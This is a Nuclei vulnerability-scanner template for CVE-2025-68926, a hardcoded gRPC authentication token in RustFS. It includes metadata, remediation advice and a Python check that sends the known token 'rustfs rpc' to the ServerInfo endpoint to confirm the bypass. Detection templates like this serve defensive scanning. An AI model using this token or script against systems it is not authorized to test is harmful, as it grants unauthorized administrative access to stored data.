id: CVE-2025-68926 info: name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token author: Chocapikk,bilisheep severity: critical description: | RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API. impact: | Full administrative access to RustFS including reading, writing, and deleting all stored data. remediation: | Upgrade to RustFS 1.0.0-alpha.77 or later. reference: - https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj - https://nvd.nist.gov/vuln/detail/CVE-2025-68926 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-68926 epss-score: 0.06616 epss-percentile: 0.9135 cwe-id: CWE-798 metadata: verified: true max-request: 1 vendor: rustfs product: rustfs tags: cve,cve2025,rustfs,grpc,auth-bypass,code variables: HOST: "{{Host}}" PORT: "{{Port}}" code: - engine: - py - python3 source: | import socket, os, re from h2.connection import H2Connection from h2.config import H2Configuration from h2.events import DataReceived, TrailersReceived, StreamEnded host, port = os.getenv('HOST'), int(os.getenv('PORT')) sock = socket.create_connection((host, port), timeout=10) sock.settimeout(5) conn = H2Connection(H2Configuration(client_side=True)) conn.initiate_connection() sock.sendall(conn.data_to_send()) sid = conn.get_next_available_stream_id() hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'), (':path','/node_service.NodeService/ServerInfo'), ('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')] conn.send_headers(sid, hdrs, end_stream=False) conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True) sock.sendall(conn.data_to_send()) body, status = b'', None while True: data = sock.recv(65535) if not data: break for e in conn.receive_data(data): if isinstance(e, DataReceived): body += e.data conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id) elif isinstance(e, TrailersReceived): status = dict(e.headers).get(b'grpc-status', b'').decode() elif isinstance(e, StreamEnded): break else: sock.sendall(conn.data_to_send()); continue break sock.close() if status == '0' and len(body) > 5: m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body) print(m.group(1).decode() if m else 'grpc-auth-bypass') matchers: - type: dsl dsl: - 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")' extractors: - type: regex name: version regex: - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)" # digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8